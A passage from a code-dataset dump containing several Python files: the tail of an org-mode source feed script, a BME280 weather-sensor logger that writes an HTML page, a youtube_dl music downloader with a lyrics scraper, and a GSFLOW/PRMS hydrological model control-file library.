EntryOfSourceCode.remove_prefix_ws(matched_result[\"source_code\"]),\n })\n return result\n\n @staticmethod\n def remove_prefix_ws(content):\n return \"\\n\".join(map(lambda s: s[2:] if len(s) >= 2 else s, content.split(\"\\n\")))\n\n def run(self):\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--operation\",\n \"-o\",\n required=True,\n help=\"operation type\"\n )\n self.args = parser.parse_args(self.remain_args)\n logging.debug(\"EntryOfSourceCode get args: {}\".format(self.args))\n return EntryOfSourceCode.__dict__[self.args.operation.replace('-', '_')](self)\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--sourceType\",\n \"-t\",\n required=True,\n help=\"source type\",\n choices=SOURCE_TYPES,\n )\n args, remain = parser.parse_known_args()\n logging.debug(\"Main parse arguments result: args={} remain={}\".format(args, remain))\n entry_name = 'EntryOf' + ''.join(\n map(lambda s: s[:1].upper() + s[1:],\n args.sourceType.split('-'))\n )\n print(json.dumps(globals()[entry_name](args, remain).run()))\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "scripts/org-source-feed.py", "file_name": "org-source-feed.py", "file_ext": "py", "file_size_in_byte": 4175, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.expanduser", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "re.finditer", "line_number": 35, "usage_type": "call"}, {"api_name": "re.M", "line_number": 35, "usage_type": "attribute"}, {"api_name": "re.I", "line_number": 35, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 36, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 57, "usage_type": "call"}, {"api_name": "re.match", "line_number": 68, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "re.finditer", "line_number": 72, "usage_type": "call"}, {"api_name": "re.M", "line_number": 72, "usage_type": "attribute"}, {"api_name": "re.I", "line_number": 72, "usage_type": "attribute"}, {"api_name": "re.S", "line_number": 72, "usage_type": "attribute"}, {"api_name": "re.MULTILINE", "line_number": 72, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 73, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 87, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 95, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 99, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 108, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 113, "usage_type": "call"}]} {"seq_id": "258750292", "text": "import bme280\nimport smbus2\nfrom time import sleep\nimport timestamp\nport = 1\naddress = 0x77 # Adafruit BME280 address. Other BME280s may be different\nbus = smbus2.SMBus(port)\n\nbme280.load_calibration_params(bus,address)\n\nwhile True:\n bme280_data = bme280.sample(bus,address)\n humidity = bme280_data.humidity\n pressure = bme280_data.pressure/33.8639\n temperature = (bme280_data.temperature * 9.0/5.0) +32\n# data = f\"{timestamp.stamp()} Humidity {humidity:03.2f} % Pressure {pressure:03.2f} InHg Temperature {temperature:03.1f} F </br>\"\n current = f\"<h1>{timestamp.stamp()}</h1><h1> Humidity {humidity:03.2f} %</h1><h1> Pressure {pressure:03.2f} InHg</h1><h1> Temperature {temperature:03.1f} F</h1> </br>\"\n print(current)\n# print(f\"<html><h1> {timestamp.stamp()}</h1> Humidity {humidity:03.2f} % Pressure {pressure:03.2f} InHg Temperature {temperature:03.1f} F</html>\")\n \n try:\n \n with open(\"/var/www/html/current.html\", \"w\") as outfile1:\n outfile1.write(\"<meta http-equiv='refresh' content='15'/> </br>\")\n outfile1.write(str(current))\n \n except KeyboardInterrupt:\n print(\"Later Dude\")\n \n finally:\n\n with open(\"/var/www/html/current.html\", \"a\") as outfile1:\n outfile1.close()\n \n sleep(15)\n", "sub_path": "current.py", "file_name": "current.py", "file_ext": "py", "file_size_in_byte": 1310, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "smbus2.SMBus", "line_number": 7, "usage_type": "call"}, {"api_name": "bme280.load_calibration_params", "line_number": 9, "usage_type": "call"}, {"api_name": "bme280.sample", "line_number": 12, "usage_type": "call"}, {"api_name": "timestamp.stamp", "line_number": 17, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 35, "usage_type": "call"}]} {"seq_id": "101821229", "text": "from bs4 import BeautifulSoup\nimport audiojack\nfrom threading import Thread\n\n\nurllib = audiojack.urllib\nyoutube_dl = audiojack.youtube_dl\n\n\nydl_opts = {\n 'format': 'bestaudio',\n 'outtmpl': 'F:\\\\%(id)s.%(ext)s',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '256'}]\n }\n\n\nydl = youtube_dl.YoutubeDL(params=ydl_opts)\n\nclass MusicDownloaderAPI:\n \n def __init__ (self, settings):\n self.settings = settings\n #PARSE SETTINGS\n \n\n def _get_thumbnail_url (self, video_id):\n url = f\"http://i.ytimg.com/vi/{video_id}/mqdefault.jpg\"\n return url\n\n def _get_image (self, url):\n img_req = urllib.request.urlopen(url)\n img = img_req.read()\n img_req.close()\n return img\n\n def _add_images (self, entries):\n res = []\n for video in entries:\n img_url = self._get_thumbnail_url(video['id'])\n img = self._get_image(img_url)\n video['image'] = img\n res.append(video)\n return res\n\n def set_param (self, name, value):\n ydl.params[name] = value\n\n def get_search_results (self, query, download=False, download_first=True, limit=3):\n query = query.replace(' ', '+')\n url = 'http://youtube.com/results?search_query=' + query\n info = ydl.extract_info(url, download=download, limit=limit)\n self.download(info['entries'][0]['webpage_url'])\n res = self._add_images(info['entries'])\n return res\n\n def get_lyrics (self, song_title, song_artist):\n artist = song_artist.lower()\n title = song_title.lower()\n artist = artist.replace(' ', '')\n title = title.replace(' ', '')\n\n url = \"http://azlyrics.com/lyrics/\"+artist+\"/\"+title+\".html\"\n print(url)\n\n content = urllib.request.urlopen(url).read()\n soup = BeautifulSoup(content, 'html.parser')\n lyrics = str(soup)\n # lyrics lies between up_partition and down_partition\n up_partition = '<!-- Usage of azlyrics.com content by any third-party lyrics provider is prohibited by our licensing agreement. Sorry about that. -->'\n down_partition = '<!-- MxM banner -->'\n lyrics = lyrics.split(up_partition)[1]\n lyrics = lyrics.split(down_partition)[0]\n lyrics = lyrics.replace('<br>','').replace('<br/>','').replace('</div>','').strip()\n return lyrics\n\n def download (self, video_urls):\n if not isinstance(video_urls, list):\n video_urls = [video_urls]\n thr = Thread(target=ydl.download, args=(video_urls,))\n thr.start()\n \n \n", "sub_path": "mdapi.py", "file_name": "mdapi.py", "file_ext": "py", "file_size_in_byte": 2669, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "audiojack.urllib", "line_number": 6, "usage_type": "attribute"}, {"api_name": "audiojack.youtube_dl", "line_number": 7, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 69, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 82, "usage_type": "call"}]} {"seq_id": "554329904", "text": "import os\r\nimport re\r\nimport copy\r\nimport warnings\r\nimport flopy\r\nimport tempfile\r\nimport numpy as np\r\nimport prms_python as pp\r\nfrom collections import OrderedDict\r\nfrom datetime import datetime\r\nfrom shutil import copyfile\r\n\r\n\r\nclass Control(OrderedDict):\r\n \"\"\"\r\n Simple python data storage class that operates as an ordered dictionary.\r\n Class allows the user to create new, load existing, edit, and write\r\n GSFLOW control files.\r\n Simple consistancy checking is used to assure data is of proper type\r\n and number\r\n Record values can be called from the Control object using a dictionary key.\r\n\r\n Parameters:\r\n -----------\r\n controlfile: (str) name of the control file\r\n\r\n Methods:\r\n --------\r\n get_record: record handling class, retrieves complete metadata of a\r\n record\r\n add_record: record handling class, adds a complete metadata record\r\n remove_record: record handling class, removes a record from the Control\r\n object\r\n write: method to write data stored in the Control object to a control\r\n file\r\n load: static method to load existing an existing control file\r\n\r\n Attributes:\r\n -----------\r\n header: (str) Header string for the GSFLOW control file\r\n\r\n \"\"\"\r\n def __init__(self, controlfile):\r\n # instantiate the OrderedDictionary override\r\n super(Control, self).__init__()\r\n\r\n self.header = 'GSFLOW control file built using GSFlowPy\\n'\r\n self.name = controlfile\r\n\r\n if isinstance(controlfile, file):\r\n self.name = controlfile.name\r\n self.__controlfile = controlfile\r\n self.__get_params()\r\n\r\n def __getitem__(self, key):\r\n return super(Control, self).__getitem__(key)['val']\r\n\r\n def __setitem__(self, key, value):\r\n if type(value) is dict:\r\n rec = value\r\n rec = self.__check_record(rec)\r\n else:\r\n try:\r\n rec = self.get_record(key)\r\n rec['val'] = value\r\n rec = self.__check_record(rec)\r\n except KeyError:\r\n raise KeyError('record does not exist, create new record ' +\r\n 'using the <add_record> method')\r\n super(Control, self).__setitem__(key, rec)\r\n\r\n def __get_params(self):\r\n \"\"\"\r\n Method to read parameters from an existing GSFLOW control file and\r\n create a record of data for each parameter within the Control object\r\n \"\"\"\r\n position = 0\r\n name = None\r\n nval = None\r\n dtype = None\r\n val = []\r\n self.header = self.__controlfile.readline()\r\n # maybe use enumerate to track position?\r\n for line in self.__controlfile:\r\n if \"#\" in line:\r\n # we want to skip the fist instance of ###\r\n position = 0\r\n if name is not None:\r\n # remove list dimension from data if it is not needed\r\n if nval == 1:\r\n val = val[0]\r\n\r\n if name in ('start_time', 'end_time'):\r\n # create a datetime object where appropriate\r\n val = datetime(val[0], val[1], val[2],\r\n val[3], val[4], val[5])\r\n\r\n rec = dict(name=name,\r\n dtype=dtype,\r\n nval=nval,\r\n val=val)\r\n\r\n super(Control, self).__setitem__(name, rec)\r\n\r\n name = None\r\n dtype = None\r\n val = []\r\n\r\n elif position == 1:\r\n line = line.strip().split()\r\n name = str(line[0])\r\n\r\n elif position == 2:\r\n line = line.strip().split()\r\n nval = int(line[0])\r\n\r\n elif position == 3:\r\n line = line.strip().split()\r\n dtype = int(line[0])\r\n\r\n elif position > 3:\r\n line = line.strip().split()\r\n\r\n if dtype == 1:\r\n val.append(int(line[0]))\r\n\r\n elif dtype in (2, 3):\r\n val.append(float(line[0]))\r\n\r\n elif dtype == 4:\r\n val.append(str(line[0]))\r\n\r\n position += 1\r\n\r\n def __check_record(self, rec):\r\n \"\"\"\r\n Defensive method to check for consistancy of data type and length\r\n Parameters:\r\n -----------\r\n rec: (dict) Data record containing parameter metadata and data\r\n\r\n Returns:\r\n --------\r\n rec: (dict) Data record containing parameter metadata and data\r\n \"\"\"\r\n if rec['name'] in ('start_time', 'end_time'):\r\n assert isinstance(rec['val'], datetime), 'time object:n {} must' + \\\r\n 'be a datetime object'\\\r\n .format(rec['name'])\r\n else:\r\n\r\n rec = self.__check_nval(rec)\r\n if rec['nval'] == 1:\r\n self.__check_dtype(rec['nval'], rec['dtype'])\r\n\r\n elif rec['nval'] > 1:\r\n for val in rec['val']:\r\n self.__check_dtype(val, rec['dtype'])\r\n\r\n else:\r\n raise StandardError('No data supplied for {}'\r\n .format(rec['name']))\r\n\r\n return rec\r\n\r\n def __check_dtype(self, val, dtype):\r\n \"\"\"\r\n Convience method to check a value against its documented dtype\r\n Parameters:\r\n -----------\r\n val: value to be checked for consistancy with its listed dtype\r\n dtype: (int) GSFLOW control file dtype (1: int, 2: float, 3: float,\r\n 4: string\r\n \"\"\"\r\n\r\n if dtype == 1:\r\n assert isinstance(val, int), 'listed dtype INT does not match' + \\\r\n ' value supplied'\r\n\r\n elif dtype in (2, 3):\r\n try:\r\n float(val)\r\n except ValueError:\r\n assert isinstance(val, float), 'listed dtype FLOAT does not' + \\\r\n ' match value supplied'\r\n\r\n elif dtype == 4:\r\n assert isinstance(val, str), 'listed dtype STR does not match' + \\\r\n ' value supplied'\r\n\r\n else:\r\n raise AssertionError('dtype {} is not valid'.format(dtype))\r\n\r\n def __check_nval(self, rec):\r\n \"\"\"\r\n Convience method to check adjust nval if necessary.\r\n\r\n Parameters\r\n ----------\r\n rec: (dict) GSFLOW control record\r\n\r\n Returns\r\n -------\r\n rec: (dict) GSFLOW control record\r\n \"\"\"\r\n val = rec['val']\r\n\r\n if isinstance(val, int):\r\n rec['nval'] = 1\r\n\r\n elif isinstance(val, list):\r\n nval = len(val)\r\n rec['nval'] = nval\r\n\r\n return rec\r\n\r\n def get_record(self, key):\r\n \"\"\"\r\n Method to get all data from a record of the control file dictionary\r\n Parameters:\r\n -----------\r\n key: (str) GSFLOW control record parameter name\r\n Returns:\r\n --------\r\n record: (dict) dictionary of data corresponding to the control\r\n record\r\n \"\"\"\r\n return super(Control, self).__getitem__(key)\r\n\r\n def add_record(self, name, nval, dtype, val):\r\n \"\"\"\r\n Convience method to add records to Control object, or overwrite existing\r\n Control records.\r\n Parameters:\r\n -----------\r\n name: (str) gsflow record name\r\n nval: (int) number of values for the record (time objects = 6)\r\n dtype: (int) datatype specified in the gsflow documentation\r\n val: value(s) multiple values must be supplied in list format\r\n \"\"\"\r\n rec = dict(name=name, nval=nval, dtype=dtype, val=val)\r\n self.__setitem__(name, rec)\r\n\r\n def remove_record(self, name):\r\n \"\"\"\r\n Convience method to delete a record from the Control object\r\n Parameters:\r\n -----------\r\n name: (str) gsflow record name\r\n \"\"\"\r\n self.pop(name, None)\r\n\r\n def write(self, controlfile=None):\r\n \"\"\"\r\n Method to write records to a new gsflow control file\r\n Parameters:\r\n -----------\r\n controlfile: (str) file name for gsflow control file\r\n \"\"\"\r\n if controlfile is None:\r\n controlfile = self.name\r\n else:\r\n self.name = controlfile\r\n\r\n # check if path exists\r\n controlfile = controlfile.replace('/', '\\\\')\r\n path = '\\\\'.join(controlfile.split('\\\\')[:-1])\r\n\r\n if os.path.exists(path):\r\n controlfile = open(controlfile, 'w')\r\n else:\r\n os.makedirs(path)\r\n controlfile = open(controlfile, 'w')\r\n\r\n # check header for newline\r\n if self.header[-1] != '\\n':\r\n self.header += '\\n'\r\n\r\n controlfile.write(self.header)\r\n\r\n for key in self:\r\n rec = self.get_record(key)\r\n\r\n if rec['name'] in ('start_time', 'end_time'):\r\n # re-format datetime object into string for gsflow control\r\n val = rec['val']\r\n dt = '{}\\n{}\\n{}\\n{}\\n{}\\n{}'.format(val.year,\r\n val.month,\r\n val.day,\r\n val.hour,\r\n val.minute,\r\n val.second)\r\n rec['val'] = dt\r\n\r\n elif rec['nval'] > 1:\r\n # re-format list object into string for gsflow control\r\n val = ''\r\n for i in rec['val']:\r\n val += '{}\\n'.format(i)\r\n rec['val'] = val[:-1]\r\n\r\n else:\r\n pass\r\n\r\n # write records to control file\r\n rec = '####\\n{}\\n{}\\n{}\\n{}\\n'.format(rec['name'],\r\n rec['nval'],\r\n rec['dtype'],\r\n rec['val'])\r\n\r\n controlfile.write(rec)\r\n\r\n controlfile.close()\r\n\r\n @staticmethod\r\n def load(controlfile):\r\n \"\"\"\r\n Entry point to an existing GSFLOW control file\r\n Parameters:\r\n ----------\r\n controlfile: (str) GSFLOW control file name\r\n \"\"\"\r\n return Control(open(controlfile, 'r'))\r\n\r\n\r\nclass ModelUtils(object):\r\n \"\"\"\r\n Class containing useful model utilities to manage workspaces,\r\n etc ...\r\n Parameters:\r\n ----------\r\n ws: (str) model workspace (path containing the GSFLOW controlfile)\r\n \"\"\"\r\n\r\n def __init__(self, ws):\r\n\r\n self.ws = ws\r\n # set up wsl\r\n\r\n self.__wsl = re.split('\\/|\\\\\\\\|', ws)\r\n self.__wsl[0] += '\\\\'\r\n\r\n @property\r\n def _output_keys(self):\r\n return ('csv_output_file', 'gsflow_output_file',\r\n 'mondel_output_file','humidity_day',\r\n 'tmax_day', 'tmin_day', 'precip_day',\r\n 'swrad_day', 'transp_day', 'windspeed_day',\r\n 'potet_day', 'stat_var_file', 'var_init_file',\r\n 'var_save_file', 'ani_output_file','nhruOutBaseFileName')\r\n\r\n def get_path(self, path):\r\n \"\"\"\r\n Method to change the workspace path from control file\r\n to location of prms model files and/or modflow model files\r\n using path information contained in the control file.\r\n\r\n Parameters:\r\n -----------\r\n path: (str) relative or absolute file path\r\n\r\n Returns:\r\n --------\r\n path: (str) absolute file path\r\n \"\"\"\r\n pathlist = re.split('\\/|\\\\\\\\|', path)\r\n\r\n # check for absolute path\r\n if ':' in pathlist[0]:\r\n pathlist[0] += '\\\\'\r\n path = os.path.join(*pathlist)\r\n\r\n else:\r\n wsl = copy.copy(self.__wsl)\r\n for cd in pathlist:\r\n if cd == \"..\":\r\n del wsl[-1]\r\n else:\r\n wsl.append(cd)\r\n\r\n path = os.path.join(*wsl)\r\n\r\n return path\r\n\r\n def create_temp_modflow_nam_file(self, nam):\r\n \"\"\"\r\n Creates a temporary nam file in the gsflow directory\r\n because flopy assumes a workspace based on location of the\r\n modflow nam, not the location of the gsflow.control file.\r\n\r\n Parameters:\r\n ----------\r\n nam: (str) path to modflow nam file\r\n\r\n Returns:\r\n --------\r\n temp_nam: (str) returns the temporary modflow nam file name\r\n \"\"\"\r\n idx = - nam[::-1].index('\\\\')\r\n temp_nam = nam[idx:]\r\n temp_path = os.path.join(self.ws, temp_nam)\r\n copyfile(nam, temp_path)\r\n return temp_nam\r\n\r\n def create_temp_prms_file(self, prms):\r\n \"\"\"\r\n Method to create temporary prms files if there is more than\r\n one file of that type. Necessary method for prms_python to load\r\n multiple parameter and data files.\r\n\r\n Parameters:\r\n -----------\r\n prms: (list) list of absolute file paths to prms files\r\n\r\n Returns:\r\n --------\r\n path: (string) path to temp prms file\r\n d: (OrderedDict) {filename: [final param]} to preseve user file\r\n structure and orginization during the write\r\n methods\r\n \"\"\"\r\n\r\n suffix = prms[0].split('.')[-1]\r\n temp_file = tempfile.NamedTemporaryFile(suffix=suffix,\r\n prefix='GSFloPyTemp',\r\n dir=self.ws, delete=False)\r\n d = OrderedDict()\r\n temp = None\r\n for prms_file in prms:\r\n with open(prms_file) as f:\r\n reverse_prms_file = reversed(list(f))\r\n for line in reverse_prms_file:\r\n if '#' in line:\r\n d[prms_file.split('\\\\')[-1]] = temp.strip('\\n')\r\n break\r\n temp = line\r\n\r\n with open(prms_file) as f:\r\n temp_file.writelines(f.readlines())\r\n\r\n temp_file.close()\r\n return temp_file.name, d\r\n\r\n @staticmethod\r\n def rename_and_move_files(src, dest):\r\n \"\"\"\r\n Method to rename, and move temp files as needed while during the\r\n Loading, editing and writing process.\r\n\r\n Parameters:\r\n -----------\r\n src: (str) file source location and name\r\n dest: (str) file destination\r\n \"\"\"\r\n os.rename(src, dest)\r\n\r\n @staticmethod\r\n def split_path(path):\r\n \"\"\"\r\n Method to extract only the specific file name or path from any\r\n path. May be irrelevent with some additional work.\r\n\r\n Parameters:\r\n ----------\r\n path: (str) absolute path a file\r\n\r\n Returns:\r\n --------\r\n path, name (str) filename\r\n \"\"\"\r\n path = re.split('\\/|\\\\\\\\|', path)\r\n if len(path) == 1:\r\n return None, path[-1]\r\n else:\r\n return '\\\\'.join(list(path[:-1])), path[-1]\r\n\r\n\r\nclass PRMSModel(ModelUtils):\r\n \"\"\"\r\n Wrapper class for the PRMS python module used as a wrapper around the prms\r\n python suite. Uses a GSFlow Control file to either load or create new prms\r\n objects\r\n\r\n Parameters:\r\n -----------\r\n controlfile: (str, object <gsflow.Control>) name of gsflow control file for\r\n building new prms files. if <gsflow.Control> object class loads\r\n existing prms files.\r\n\r\n ws: (str) gsflow model workspace\r\n\r\n Attributes:\r\n -----------\r\n\r\n Methods:\r\n --------\r\n load: loads existing PRMS model files\r\n \"\"\"\r\n # todo: look into the PRMS init_vars_from_file and var_init_file,\r\n # todo: formatting and if we can read in/out these using existing code\r\n # todo: structures\r\n def __init__(self, controlfile, ws):\r\n super(PRMSModel, self).__init__(ws)\r\n self.__parameter_files = []\r\n self.__parameter_files_dict = {}\r\n self.__data_files = []\r\n self.__data_files_dict = {}\r\n self.__header = \"PRMS parameters file created with GSFloPy 0.1\\n\"\r\n self.__version = \"Version: 1.7\\n\"\r\n\r\n if isinstance(controlfile, Control):\r\n # load model!\r\n self.__controlfile = controlfile\r\n self.parameters = self.__load_parameter_files()\r\n self.data = self.__load_data_files()\r\n\r\n else:\r\n # assume that controlfile must exist even if it is an empty document\r\n self.__controlfile = Control(open(controlfile))\r\n\r\n def set_header(self, header):\r\n if not header.endswith('\\n'):\r\n header += '\\n'\r\n self.__header = header\r\n\r\n @property\r\n def data_files(self):\r\n \"\"\"\r\n Returns a list of the prms data files\r\n \"\"\"\r\n if len(self.__data_files) < 1:\r\n try:\r\n if self.__controlfile.get_record('data_file')['nval'] == 1:\r\n self.__data_files = [self.get_path(\r\n self.__controlfile['data_file'])]\r\n else:\r\n self.__data_files = [self.get_path(i) for i in\r\n self.__controlfile['data_file']]\r\n except KeyError:\r\n self.__data_files = []\r\n\r\n return self.__data_files\r\n\r\n @property\r\n def parameter_files(self):\r\n \"\"\"\r\n Returns a list of the prms parameter files\r\n \"\"\"\r\n if len(self.__parameter_files) < 1:\r\n try:\r\n if self.__controlfile.get_record('param_file')['nval'] == 1:\r\n self.__parameter_files = [self.get_path(\r\n self.__controlfile['param_file'])]\r\n else:\r\n self.__parameter_files = [self.get_path(i) for i in\r\n self.__controlfile['param_file']]\r\n except KeyError:\r\n self.__parameter_files = []\r\n\r\n return self.__parameter_files\r\n\r\n def __load_data_files(self):\r\n \"\"\"\r\n Convience method to load prms data files listed in the\r\n GSFLOW control file information. Creates and removes a temporary\r\n file in the GSFLOW ws directory to manage multiple datafiles\r\n\r\n Returns:\r\n -------\r\n <class 'prms_python.data.Data>\r\n \"\"\"\r\n if len(self.data_files) < 1:\r\n warnings.warn(\"Control file does not have prms data\" +\r\n \" files included, skipping pmrs data import\")\r\n return\r\n\r\n else:\r\n data_file, self.__data_files_dict = \\\r\n self.create_temp_prms_file(self.data_files)\r\n df = pp.Data(data_file)\r\n # os.remove(data_file)\r\n return df\r\n\r\n def __load_parameter_files(self):\r\n \"\"\"\r\n Convience method to load prms parameter files listed in the\r\n GSFLOW control file information. Creates a temporary file in the\r\n GSFLOW ws directory.\r\n\r\n Returns:\r\n --------\r\n <class 'prms_python.parameters.Parameters'>\r\n \"\"\"\r\n if len(self.parameter_files) < 1:\r\n warnings.warn(\"Control file does not have prms paramter\" +\r\n \" files included, skipping pmrs parameter import\")\r\n return\r\n\r\n else:\r\n param_file, self.__parameter_files_dict = \\\r\n self.create_temp_prms_file(self.parameter_files)\r\n p = pp.Parameters(param_file)\r\n p.base_file_reader.close()\r\n # os.remove(param_file)\r\n return p\r\n\r\n def write(self, ws):\r\n \"\"\"\r\n Write function that replaces the PRMS python write function\r\n Improvements allow for writing of multiple files based on input\r\n structure.\r\n Parameters:\r\n -----------\r\n ws (str): workspace for GSFlow model\r\n \"\"\"\r\n super(PRMSModel, self).__init__(ws)\r\n self.__parameter_files = []\r\n\r\n fnum = 0\r\n fname = self.parameter_files[fnum]\r\n path = '\\\\'.join(fname.split('\\\\')[:-1])\r\n end_of_file = self.__parameter_files_dict[fname.split('\\\\')[-1]]\r\n\r\n if not os.path.exists(path):\r\n os.makedirs(path)\r\n\r\n params_file = open(fname, 'w')\r\n params_file.write(self.__header)\r\n params_file.write(self.__version)\r\n # begin writing model dimensions\r\n params_file.write(\"** Dimensions **\\n\")\r\n for key, val in self.parameters.dimensions.items():\r\n params_file.write(\"####\\n\")\r\n params_file.write(\"{}\\n\".format(key))\r\n params_file.write(\"{}\\n\".format(val))\r\n\r\n # begin writing model parameters\r\n params_file.write(\"** Parameters **\\n\")\r\n for d in self.parameters.base_params:\r\n params_file.write(\"####\\n\")\r\n params_file.write(\"{}\\n\".format(d['name']))\r\n params_file.write(\"{}\\n\".format(d['ndims']))\r\n for dimname in d['dimnames']:\r\n params_file.write(\"{}\\n\".format(dimname))\r\n params_file.write(\"{}\\n\".format(d[\"length\"]))\r\n params_file.write(\"{}\\n\".format(d[\"vartype\"]))\r\n\r\n try:\r\n for val in self.parameters.param_arrays[d['name']]:\r\n if d['ndims'] == 2:\r\n for v in val:\r\n params_file.write(\"{}\\n\".format(v))\r\n else:\r\n params_file.write(\"{}\\n\".format(val))\r\n\r\n except KeyError:\r\n try:\r\n for val in self.parameters[d['name']]:\r\n if d['ndims'] == 2:\r\n for v in val:\r\n params_file.write(\"{}\\n\".format(v))\r\n else:\r\n params_file.write(\"{}\\n\".format(val))\r\n except TypeError:\r\n params_file.write(\"{}\\n\".format(self.parameters[d['name']]))\r\n\r\n if d['name'] == end_of_file:\r\n params_file.close()\r\n fnum += 1\r\n try:\r\n fname = self.parameter_files[fnum]\r\n params_file = open(fname, \"w\")\r\n end_of_file = self.__parameter_files_dict[\r\n fname.split('\\\\')[-1]]\r\n except IndexError:\r\n pass\r\n\r\n os.remove(self.parameters.base_file)\r\n\r\n self.__data_files = []\r\n fname = self.data_files[0]\r\n self.data.write(fname)\r\n os.remove(self.data.base_file)\r\n\r\n @staticmethod\r\n def load(controlfile, ws):\r\n \"\"\"\r\n Method to load prms files from a GSFlow control file object\r\n\r\n Parameters:\r\n ----------\r\n controlfile: (object) <gsflow.Control> object\r\n \"\"\"\r\n if isinstance(controlfile, str):\r\n controlfile = Control.load(controlfile)\r\n\r\n elif isinstance(controlfile, Control):\r\n pass\r\n\r\n else:\r\n raise TypeError(\"Controlfile is not of recognized type\")\r\n\r\n return PRMSModel(controlfile, ws)\r\n\r\n\r\nclass GSFlowModel(ModelUtils):\r\n \"\"\"\r\n Object to load, create, and write a full GSFLOW model. Utilizes\r\n functionality from Flopy 3.2.6 and prms_python.\r\n\r\n Parameters\r\n ----------\r\n controlfile: (str) GSFLOW controlfile name\r\n ws: (str) model workspace (path containing the GSFLOW controlfile)\r\n Methods\r\n -------\r\n load: Entry point to load an existing GSFLOW model\r\n\r\n Attributes:\r\n -----------\r\n\r\n \"\"\"\r\n def __init__(self, controlfile, ws=None):\r\n\r\n self.__modflow_nam_file_path = None\r\n self.__parameter_files = []\r\n self.__parameter_files_dict = {}\r\n self.__data_files = []\r\n self.__config_files_dict = {}\r\n\r\n if ws is None:\r\n self.__ws = os.path.dirname(os.path.realpath(__file__))\r\n else:\r\n self.__ws = ws\r\n\r\n super(GSFlowModel, self).__init__(self.__ws)\r\n\r\n if isinstance(controlfile, Control):\r\n self.controlfile = controlfile\r\n self.name = controlfile.name\r\n self.modflow = self.__load_modflow_model()\r\n self.modflow_nam = ModFlowNam(self.modflow_nam_file_path)\r\n self.prms = self.__load_prms_model()\r\n\r\n elif isinstance(controlfile, str):\r\n\r\n self.name = os.path.join(self.__ws, controlfile)\r\n self.controlfile = Control.load(self.name)\r\n\r\n def __load_prms_model(self):\r\n prms = PRMSModel.load(self.controlfile, self.__ws)\r\n return prms\r\n\r\n def __load_modflow_model(self):\r\n \"\"\"\r\n Convience method to load a modflow model from the GSFLOW control\r\n file information, reads a temporary modflow NAM file beacause of\r\n workspace conflicts with GSFlow and Flopy 3.2.6 assumptions\r\n\r\n Returns:\r\n --------\r\n <class 'flopy.modflow.mf.Modflow'> ie. a Flopy model object\r\n \"\"\"\r\n if self.modflow_nam_file_path is None:\r\n warnings.warn(\"control file does not have modflow_name\" +\r\n \" skipping modflow model import\")\r\n return\r\n\r\n else:\r\n # Create a temporary name file with absolute name space in\r\n # the modflow directory and remove after model instance is created\r\n nam = self.create_temp_modflow_nam_file(self.modflow_nam_file_path)\r\n mf = flopy.modflow.Modflow.load(f=nam, model_ws=self.__ws,\r\n version=\"mfnwt\")\r\n os.remove(os.path.join(self.__ws, nam))\r\n return mf\r\n\r\n @property\r\n def modflow_nam_file_path(self):\r\n \"\"\"\r\n Returns the modflow NAM file path\r\n \"\"\"\r\n if self.__modflow_nam_file_path is None:\r\n try:\r\n self.__modflow_nam_file_path = self.get_path(self.controlfile\r\n ['modflow_name'])\r\n except KeyError:\r\n self.__modflow_nam_file_path = None\r\n\r\n return self.__modflow_nam_file_path\r\n\r\n @staticmethod\r\n def load(controlfile, ws=None):\r\n \"\"\"\r\n Entry point to an existing GSFLOW control file\r\n Parameters:\r\n ----------\r\n controlfile: (str) GSFLOW control file name\r\n ws: (str) model workspace (path containing the GSFLOW controlfile)\r\n \"\"\"\r\n controlfile = Control.load(os.path.join(ws, controlfile))\r\n return GSFlowModel(controlfile, ws=ws)\r\n\r\n def write(self, ws=None, controlfile=None, clear_relative_paths=False):\r\n \"\"\"\r\n Method to write all configuration files for a complete GSFlow simulation\r\n and create output directories if they do not exist\r\n\r\n Parameters:\r\n -----------\r\n controlfile: (str) name of the control file if user wants to\r\n change names... allows for multiple controlfiles\r\n to be saved to the same workspace\r\n ws: (str) workspace aka. GSFlow model path\r\n \"\"\"\r\n # todo: write output directories for model to run.\r\n if ws is None:\r\n ws = self.__ws\r\n else:\r\n self.__ws = ws\r\n self.__modflow_nam_file_path = None\r\n super(GSFlowModel, self).__init__(ws)\r\n\r\n modflow_ws, nam = self.split_path(self.modflow_nam_file_path)\r\n modflow_ws = self.get_path(modflow_ws)\r\n\r\n self.modflow.change_model_ws(modflow_ws)\r\n self.modflow.write_input()\r\n self.modflow_nam.write(modflow_ws,\r\n clear_relative_paths=clear_relative_paths)\r\n 